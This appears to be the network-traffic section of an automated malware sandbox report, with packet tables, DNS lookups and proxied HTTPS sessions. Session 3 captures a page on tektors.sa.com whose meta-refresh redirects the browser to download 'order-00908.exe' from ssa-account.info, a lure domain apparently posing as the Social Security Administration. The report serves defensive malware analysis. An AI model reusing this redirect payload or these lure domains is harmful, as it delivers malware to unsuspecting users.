Nov 19, 2024 18:19:37.870867014 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.870902061 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.870958090 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.870996952 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871015072 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.871083021 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871108055 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871134996 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.871141911 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871154070 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.871180058 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.871265888 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871284008 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871335030 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.871335030 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.871342897 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871519089 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871540070 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871571064 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.871577978 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871603012 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.871619940 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.871965885 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.871989965 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.872035027 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.872040987 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.872066021 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.872078896 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.872344971 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.872364998 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.872396946 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.872402906 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.872431993 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.872447968 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.872600079 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.872618914 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.872648954 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.872653961 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.872678041 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.872699976 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.902671099 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.902700901 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.902761936 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.902796030 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.903103113 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.961854935 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.961880922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.961937904 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.961952925 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.961976051 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.962007046 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.962027073 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.962028027 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.962049007 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.962049007 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.962085009 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.962094069 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.962121010 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.962207079 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.962228060 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.962259054 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.962264061 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.962296963 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.963062048 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.963078022 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.963148117 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.963156939 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.963434935 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.963458061 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.963516951 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.963522911 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.963568926 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.963584900 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.963604927 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.963721991 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.963728905 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.993460894 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.993489027 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.993525028 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.993566990 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.993587017 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.034836054 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.052166939 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:38.052179098 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:38.052223921 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:38.052242994 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.052278042 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:38.052298069 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.052402973 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.052614927 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:38.052649021 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:38.052668095 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.052678108 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:38.052696943 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.052714109 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.052726030 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:38.052768946 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.053112030 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:38.053132057 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:46.940504074 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:46.940571070 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:46.940629005 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:47.781363964 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:47.781390905 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:48.553169966 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:48.553251028 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:48.553309917 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:50.130281925 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:50.130328894 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:56.867661953 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:56.867723942 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:56.867803097 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:56.868119001 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:56.868134975 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:56.981554985 CET	443	53943	23.206.229.226	192.168.2.8
Nov 19, 2024 18:19:56.981635094 CET	53943	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:57.464190006 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.464390993 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.467550039 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.467561007 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.467775106 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.474312067 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.519336939 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.674253941 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.674324036 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.674371958 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.674556017 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.674585104 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.674643040 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.674899101 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.674982071 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.674988031 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.675102949 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.675107002 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.675173998 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.679712057 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.679730892 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:57.679742098 CET	53950	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:57.679747105 CET	443	53950	20.12.23.50	192.168.2.8
Nov 19, 2024 18:20:26.482707024 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:20:26.482726097 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:20:26.482901096 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:20:26.484127045 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:20:26.488957882 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:20:33.605918884 CET	61676	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:20:33.610788107 CET	53	61676	1.1.1.1	192.168.2.8
Nov 19, 2024 18:20:33.610968113 CET	61676	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:20:33.611110926 CET	61676	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:20:33.615844011 CET	53	61676	1.1.1.1	192.168.2.8
Nov 19, 2024 18:20:34.053251028 CET	53	61676	1.1.1.1	192.168.2.8
Nov 19, 2024 18:20:34.054003954 CET	61676	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:20:34.059196949 CET	53	61676	1.1.1.1	192.168.2.8
Nov 19, 2024 18:20:34.059416056 CET	61676	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:20:36.289027929 CET	61678	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:20:36.289133072 CET	443	61678	142.250.184.228	192.168.2.8
Nov 19, 2024 18:20:36.289329052 CET	61678	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:20:36.289869070 CET	61678	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:20:36.289906025 CET	443	61678	142.250.184.228	192.168.2.8
Nov 19, 2024 18:20:36.946593046 CET	443	61678	142.250.184.228	192.168.2.8
Nov 19, 2024 18:20:36.947381973 CET	61678	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:20:36.947412014 CET	443	61678	142.250.184.228	192.168.2.8
Nov 19, 2024 18:20:36.947786093 CET	443	61678	142.250.184.228	192.168.2.8
Nov 19, 2024 18:20:36.948642015 CET	61678	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:20:36.948725939 CET	443	61678	142.250.184.228	192.168.2.8
Nov 19, 2024 18:20:36.989140034 CET	61678	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:20:46.833569050 CET	443	61678	142.250.184.228	192.168.2.8
Nov 19, 2024 18:20:46.833673000 CET	443	61678	142.250.184.228	192.168.2.8
Nov 19, 2024 18:20:46.833739042 CET	61678	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:20:48.131903887 CET	61678	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:20:48.131937027 CET	443	61678	142.250.184.228	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 18:19:18.498004913 CET	63396	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:31.845048904 CET	59676	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:31.845176935 CET	64463	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:31.851474047 CET	53	54937	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:31.868921041 CET	53	60717	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:32.053906918 CET	53	59676	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:32.054719925 CET	53	64463	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:32.688188076 CET	62488	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:32.688383102 CET	50852	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:32.706226110 CET	53	50852	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:32.709069014 CET	53	62488	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:32.869795084 CET	53	57167	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:36.292066097 CET	57823	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:36.292249918 CET	56187	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:36.393527031 CET	53	57823	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:36.393627882 CET	53	56187	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:36.917131901 CET	53	52325	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:44.498009920 CET	53	62686	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:46.731349945 CET	138	138	192.168.2.8	192.168.2.255
Nov 19, 2024 18:20:31.458611012 CET	53	54376	1.1.1.1	192.168.2.8
Nov 19, 2024 18:20:33.605386972 CET	53	56594	1.1.1.1	192.168.2.8
Nov 19, 2024 18:21:47.153742075 CET	53	55609	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 18:19:18.498004913 CET	192.168.2.8	1.1.1.1	0xb5d2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:31.845048904 CET	192.168.2.8	1.1.1.1	0x6afa	Standard query (0)	tektors.sa.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:31.845176935 CET	192.168.2.8	1.1.1.1	0x7f04	Standard query (0)	tektors.sa.com	65	IN (0x0001)	false
Nov 19, 2024 18:19:32.688188076 CET	192.168.2.8	1.1.1.1	0x9580	Standard query (0)	ssa-account.info	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:32.688383102 CET	192.168.2.8	1.1.1.1	0xb7bd	Standard query (0)	ssa-account.info	65	IN (0x0001)	false
Nov 19, 2024 18:19:36.292066097 CET	192.168.2.8	1.1.1.1	0x2656	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:36.292249918 CET	192.168.2.8	1.1.1.1	0xb6db	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 18:19:18.506010056 CET	1.1.1.1	192.168.2.8	0xb5d2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:19:19.323303938 CET	1.1.1.1	192.168.2.8	0x1bbb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:19.323303938 CET	1.1.1.1	192.168.2.8	0x1bbb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:32.053906918 CET	1.1.1.1	192.168.2.8	0x6afa	No error (0)	tektors.sa.com		107.182.128.31	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:32.706226110 CET	1.1.1.1	192.168.2.8	0xb7bd	No error (0)	ssa-account.info			65	IN (0x0001)	false
Nov 19, 2024 18:19:32.709069014 CET	1.1.1.1	192.168.2.8	0x9580	No error (0)	ssa-account.info		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:32.709069014 CET	1.1.1.1	192.168.2.8	0x9580	No error (0)	ssa-account.info		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:36.393527031 CET	1.1.1.1	192.168.2.8	0x2656	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:19:36.393627882 CET	1.1.1.1	192.168.2.8	0xb6db	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 19, 2024 18:20:20.934151888 CET	1.1.1.1	192.168.2.8	0xe47e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:20:20.934151888 CET	1.1.1.1	192.168.2.8	0xe47e	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:20:20.934151888 CET	1.1.1.1	192.168.2.8	0xe47e	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

tektors.sa.com

https:

ssa-account.info

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49713	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:19:13 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 17:19:14 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=84370 Date: Tue, 19 Nov 2024 17:19:14 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49714	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:19:14 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 17:19:15 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=84330 Date: Tue, 19 Nov 2024 17:19:15 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-19 17:19:15 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49717	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:19:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=oAYZgl7Ol51xsmV&MD=OrAOcw7l HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 17:19:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 3c7c0580-96af-4075-b779-7008dabf81b8 MS-RequestId: 39704526-7929-4bc8-bde6-c5f3516f46f9 MS-CV: 4zpuf8N2bk6eLUi8.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 17:19:19 GMT Connection: close Content-Length: 24490
2024-11-19 17:19:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-19 17:19:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49724	107.182.128.31	443	7848	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:19:32 UTC	672	OUT	GET /neword/ord.html HTTP/1.1 Host: tektors.sa.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 17:19:32 UTC	204	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:19:32 GMT Server: Apache Last-Modified: Tue, 19 Nov 2024 14:17:55 GMT Accept-Ranges: bytes Content-Length: 85 Connection: close Content-Type: text/html
2024-11-19 17:19:32 UTC	85	IN	Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 73 61 2d 61 63 63 6f 75 6e 74 2e 69 6e 66 6f 2f 6f 72 64 65 72 2d 30 30 39 30 38 2e 65 78 65 22 3e Data Ascii: <meta http-equiv="refresh" content="0; url=https://ssa-account.info/order-00908.exe">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49725	107.182.128.31	443	7848	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:19:32 UTC	599	OUT	GET /favicon.ico HTTP/1.1 Host: tektors.sa.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tektors.sa.com/neword/ord.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
